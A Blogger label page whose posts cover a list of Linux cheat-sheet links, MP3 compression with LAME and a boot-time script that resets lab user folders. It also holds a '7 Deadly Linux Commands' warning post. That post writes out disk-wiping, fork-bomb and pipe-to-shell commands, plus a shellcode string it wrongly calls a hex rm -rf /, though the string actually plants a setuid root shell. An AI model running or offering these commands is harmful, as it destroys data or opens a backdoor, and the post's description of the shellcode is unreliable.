Showing posts with label script. Show all posts
Showing posts with label script. Show all posts

Thursday, March 1, 2012

10 Essential UNIX/Linux Command Cheat Sheets

Linux has become so idiot proof nowadays that there is less and less need to use the command line. However, the commands and shell scripts have remained powerful for advanced users to utilize to help them do complicated tasks quickly and efficiently.

To those of you who are aspiring to become a UNIX/Linux guru, you have to know loads of commands and learn how to effectively use them. But there is really no need to memorize everything since there are plenty of cheat sheets available on the web and on books. To spare you from the hassles of searching, I have here a collection of 10 essential UNIX/Linux cheat sheets that can greatly help you on your quest for mastery:


UNIX Tutorial for Beginners
This is a quick and easy UNIX/Linux tutorial page that is aimed at beginners. It gives a subtle introduction to some of the most important UNIX/Linux commands.



Learning the Shell
Aside from showing you how to apply the most basic UNIX/Linux commands, “Learning the Shell’ will teach you the utmost importance of using the command line.



Learn UNIX in 10 Minutes
From the page: This is something that I had given out to students (CAD user training) in years past. The purpose was to have on one page the basics commands for getting started using the UNIX shell (so that they didn't call me asking what to do the first time someone gave them a tape).



FOSSwire Unix/Linux Command Cheat Sheet
A one page UNIX/Linux command reference that you can download in PDF format. You can easily print it, and then paste it on your wall.

UNIX Toolbox
From the page: This document is a collection of Unix/Linux/BSD commands and tasks which are useful for IT work or for advanced users. This is a practical guide with concise explanations; however the reader is supposed to know what s/he is doing.


Practical Linux Command Line Reference
This is another handy one-page cheat sheet for common command line operations. All of the commands have been tested on Fedora and Ubuntu.


How to Look Like a UNIX Guru
From the page: This lecture takes you through the basic commands and then shows you how to combine them in simple patterns or idioms to provide sophisticated functionality like histogramming. This lecture assumes you know what a shell is and that you have some basic familiarity with UNIX.



A Directory of Linux Commands (in alphabetical order)
From the O'reilly book “Linux in a Nutshell, 5th Edition”, it features an alphabetical list of 687 commands and a short description on each one of them.

Linux Security Quick Reference Guide
This quick reference guide (in PDF) will serve as your aid on improving the security of your Linux system. It provides some pointers to more in-depth security information that could help you become a good UNIX/Linux system administrator.


Bash Programming Cheat Sheet
From the page: A quick cheat sheet for programmers who want to do shell scripting. This is not intended to teach programming, etc. but it is intended for someone who knows one programming language to begin learning about bash scripting.

Categories: , ,

The 7 Deadly Linux Commands

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:
rm -rf /
This command will recursively and forcefully delete all the files inside the root directory.

2. Code:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";


This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:
mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:
:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:
any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:
wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:
mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.

There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.

source : The 7 Deadly Linux Commands

Categories: , ,

Compress MP3 in Ubuntu


Saya masih ingat kira-kira di tahun 2006-2007, saya masih mempunyai ( sebenarnya dipinjami oleh teman, tapi akhirnya diakuisisi jadi milik pribadi ) sebuah mp3 player kecil, mereknya Dolphin kalau tidak salah, berwarna hitam dengan memory 256mb. Kecil sekali ya kalau dibandingkan dengan produk-produk jaman sekarang, tapi seingat saya pada waktu itu memory segitu masih cukup lumayan.
Tapi tetap saja, biarpun masih "lumayan", saya tetap merasa butuh memasukkan lebih banyak lagi mp3 kedalam player tersebut. Pastinya yang terpikir adalah bagaimana membuat file mp3 menjadi berukuran lebih kecil dari normal di kisaran 4-6 mb perfile menjadi sekitar 1-3mb perfile.
Di windows saya biasa menggunakan software dbPowerAmp untuk melakukan compress file mp3, tapi di linux saya belum menemukan program sejenis waktu itu. Jadi saya berusahan mencari cara agar bisa melakukan compress mp3 di Ubuntu.
Setelah googling sesaat, terlihat titik cerah untuk melakukan hal ini, ternyata cukup dilakukan dengan script sederhana dan memastikan LAME terinstall di komputer kita.
Langkah-langkah yang saya lakukan :
  1. Memastikan LAME telah terinstall, bila belum silahkan install dengan software package management kesukaan anda
  2. Letakkan mp3 yang akan di compress ke dalam satu folder, misalnya folder bernama mp3, dengan terminal masuk ke folder itu.
  3. Buat file baru di dalam folder itu, misalnya dengan nama compress.sh dan masukkan kode berikut sebagai isinya
    mkdir ./compressed
    for file in *.mp3; do lame --mp3input -b 32 "$file" "./compressed/$file"; done
  4. Ubah akses file compress.sh agar bisa dieksekusi
    chmod ugo+x compress.sh
  5. Jalankan file compress.sh
    ./compress.sh
  6. MP3 yang terkompress sudah ada di folder compressed dan jelas memiliki ukuran file yang lebih kecil.
Disini saya mengubah bitrate mp3 menjadi 32kbps,bila menginginkan kualitas yang lebih baik, bisa menggunakan angka yang lebih tinggi, bitrate normal biasanya 128-192kbps, silahkan coba-coba mana yang paling sesuai untuk anda.
Menurut saya, secara kualitas suara, hasil compress mp3 dengan cara ini jauh lebih baik daripada menggunakan dbPowerAmp atau software sejenis di Windows. Silahkan dibuktikan ;)

Categories: , , , ,

Simple Ubuntu "Deep Freeze"

Salah satu request awal dari Laboran di lab komputer saya adalah program seperti Deep Freeze yang bisa berjalan di linux. Hal ini dibutuhkan karena lab komputer kami juga sekaligus berfungsi seperti warnet di kampus, jadi untuk menghindari kerusakan karena kesalahan penggunaan user, selama ini di Windows kami menggunakan Deep Freeze, jadi setiap komputer di restart, akan kembali ke setting seperti semula.
Sewaktu itu jelas belum ada software yang bisa melakukan fungsi selengkap deep freeze pada linux ubuntu, tetapi dari trainer kami dijanjikan akan dibuatkan script untuk dapat melakukan fungsi tersebut.
Jadi dari rencana yang kami buat bersama, user akan dibuat dengan otoritas seminimal mungkin, tanpa hak instalasi dan terbatas akses terhadap home foldernya sendiri. Untuk mempertahankan fase/memiliki tampilan standar sebenarnya secara sederhana yang perlu dilakukan adalah memiliki backup dari home folder user dan meng-copy-kan backup tersebut setiap komputer startup.
Dan akhirnya langkah-langkah yang kami lakukan :
  1. Membuat backup home folder user, dilakukan dengan menggunakan login root, karena kami mau menempatkan backup foldernya di folder /root, dapat dilakukan melalui file explorer (nautilus) ataupun melalui syntax di terminal (copy -R)
  2. Membuat script untuk mengcopy folder tersebut
    rm -rf /home/user
    cp -arf /root/user /home/
    chown -R user:user /home/user
  3. Misalnya berinama freeze.sh, kemudian dengan terminal ubah aksesnya dengan chmod, agar bisa dieksekusi sebagai script maka ketikkan perintah
    chmod ugo+x freeze.sh
  4. Selanjutnya adalah membuat agar script ini bisa berjalan secara otomatis ketika startup, edit file rc.local
    gedit /etc/rc.local *bisa juga menggunakan vim atau nano atau joe, tergantung preferensi anda.
  5. Tambahkan kode ini di bagian akhir file, kemudian save.
    /root/freeze.sh
Seharusnya script "Deep Freeze" sangat sederhana ini sudah bisa berjalan, paling tidak bisa mengembalikan settingan standar dari software yang baru saja digunakan, wallpaper dan berbagai tampilan desktop lainnya.
Untuk penjelasan scriptnya saya rasa scriptnya sangat mudah dan sederhana, silahkan ditanyakan bila ada yang tidak mengerti. :)

Categories: , , , ,

Copyright © Johannes Dwi Cahyo | Powered by Blogger

Design by Anders Noren | Blogger Theme by NewBloggerThemes.com | BTheme.net      Up ↑